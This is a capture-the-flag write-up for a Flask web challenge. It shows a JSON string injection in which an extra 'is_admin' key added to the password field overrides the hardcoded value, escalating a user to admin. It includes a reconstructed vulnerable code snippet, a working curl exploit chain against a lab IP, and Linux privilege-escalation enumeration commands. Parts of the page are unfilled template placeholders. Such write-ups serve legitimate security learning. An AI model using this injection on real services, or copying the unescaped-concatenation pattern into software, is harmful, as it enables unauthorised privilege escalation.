Bug Bounty-code
Bug Bounty-code
Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-02 | Status: Solved Techniques: duplicate_json_key_exploitation, hidden_hint_discovery_base64_in_bbcode, json_string_injection_via_unescaped_input, privilege_escalation_to_admin
Summary
Task: Flask web app with user registration/login where is_admin is hardcoded to false; user input is concatenated into JSON without escaping. Solution: inject closing quote and additional is_admin key into password field, exploiting Python json.loads() duplicate-key-last-wins behavior to escalate to admin.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackerlab| ID:20260502_hackerlab_bug_bounty_code - Tags: flask, authentication_bypass, python, base64, werkzeug, privilege_escalation, parameter_pollution, json_injection, bbcode
- Indicators: HTTP 500 on double quote or backslash in form field but not on single quote, Flask session cookie containing is_admin field, base64-encoded hint hidden in white-colored BBCode text, user model structure leaked in page content, json.loads duplicate key last-wins behavior
- Source:
20260502_hackerlab_bug_bounty_code.md
Foothold
Vulnerability / Misconfiguration
- Duplicate_json_key_exploitation
- Hidden_hint_discovery_base64_in_bbcode
- Json_string_injection_via_unescaped_input
- Privilege_escalation_to_admin
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- duplicate_json_key_exploitation
- hidden_hint_discovery_base64_in_bbcode
- json_string_injection_via_unescaped_input
- privilege_escalation_to_admin
- Tags: flask, authentication_bypass, python, base64, werkzeug, privilege_escalation, parameter_pollution, json_injection, bbcode
Original Writeup
<details><summary>Click to expand original content</summary>Description
Говорят, что здесь можно получить админа без СМС, но с регистрацией, а дальше как?
English summary: A Flask/Werkzeug web application with user registration, login, profile editing, and a BBCode content page. The goal is to escalate privileges from a regular user to admin to reveal the flag.
Analysis
Application Structure
The application runs on Flask/Werkzeug 3.0.4 with Python 3.10.7 and exposes the following endpoints:
| Endpoint | Method | Function |
|---|---|---|
/register | POST | Create new user (nickname + password) |
/login | POST | Authenticate, sets Flask session cookie |
/profile | GET | Shows user info including "Admin: false", edit form |
/edit | POST | Update nickname/password, redirects to /logout |
/logout | GET | Clears session |
/ | GET | Main page with BBCode article about British cats |
| |
The Flask session cookie contains: {"is_admin": "false", "nickname": "username"}.
Hidden Hint Discovery
Inside the main page's BBCode article, a [quote] block contained white-colored text ([color=#ffffff]) with a base64-encoded string:
IEkgdXBkYXRlZCB0aGUgdXNlciBlbnRpdHkgdmlldy4NCiBtb2RlbCA9IHsNCiAnbmlja25hbWUnOiBuaWNrbmFtZSwNCiAncGFzc3dvcmQnOiBwYXNzd29yZCwNCiAnaXNfYWRtaW4nOiAnZmFsc2UnDQogfQ==
Decoded:
I updated the user entity view.
model = {
'nickname': nickname,
'password': password,
'is_admin': 'false'
}
This reveals the user model structure — is_admin is hardcoded to 'false'.
Identifying JSON Injection
Testing special characters in the nickname field during /edit:
| Character | Result | Meaning |
|---|---|---|
" (double quote) | HTTP 500 | Breaks JSON string parsing |
\ (backslash) | HTTP 500 | Breaks JSON escape sequence |
' (single quote) | HTTP 302 | Normal — not a JSON delimiter |
} (curly brace) | HTTP 302 | Normal — inside a quoted string |
This pattern is a textbook indicator of JSON string injection: user input is concatenated directly into a JSON string without escaping, and double quotes break the JSON structure.
Failed Approaches
Before finding the JSON injection vector, several other approaches were exhausted:
- Mass assignment via
/editand/registerwithis_admin=true(various formats) — all failed - Flask session cookie forgery — SECRET_KEY bruteforce with rockyou.txt (200k+ attempts), common wordlists — all failed; server validates signatures properly
- Hidden endpoints (
/admin,/flag,/console,/debug,/.git,/.env) — all 404 - SQLi in nickname — no errors
- Different HTTP methods (PUT, PATCH) to
/edit— 405
Solution
Vulnerability: JSON String Injection with Duplicate Key Override
The server constructs the user model by string formatting/concatenation rather than proper serialization:
# Likely server-side code (reconstructed)
json_str = '{"is_admin": "false", "nickname": "%s", "password": "%s"}' % (nickname, password)
model = json.loads(json_str)
By injecting into the password field, we can close the password value and append a new is_admin key:
Injected password value: pass123", "is_admin": "true
Resulting JSON:
{"is_admin": "false", "nickname": "user", "password": "pass123", "is_admin": "true"}
In Python's json.loads(), when there are duplicate keys, the last one wins — so is_admin becomes "true".
Exploit Steps
# Step 1: Register a new user curl -s -X POST http://62.173.140.174:16057/register \ -d 'nickname=myuser&password=pass123' # Step 2: Login to get session cookie SESSION=$(curl -s -D- -X POST http://62.173.140.174:16057/login \ -d 'nickname=myuser&password=pass123' | \ grep 'Set-Cookie' | sed 's/Set-Cookie: session=//;s/;.*//') # Step 3: JSON injection via /edit — inject into password field # URL-decoded password value: pass123", "is_admin": "true curl -s -b "session=$SESSION" -X POST http://62.173.140.174:16057/edit \ -d 'nickname=myuser&password=pass123%22%2C%20%22is_admin%22%3A%20%22true' # Step 4: Re-login (server forces logout after edit) NEW_SESSION=$(curl -s -D- -X POST http://62.173.140.174:16057/login \ -d 'nickname=myuser&password=pass123' | \ grep 'Set-Cookie' | sed 's/Set-Cookie: session=//;s/;.*//') # Step 5: Access main page as admin — flag is revealed curl -s -b "session=$NEW_SESSION" http://62.173.140.174:16057/ # Flag appears in the BBCode content
Important detail: After the JSON injection, the actual stored password becomes just pass123 (the part before the injected quote), so re-login uses the original password.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR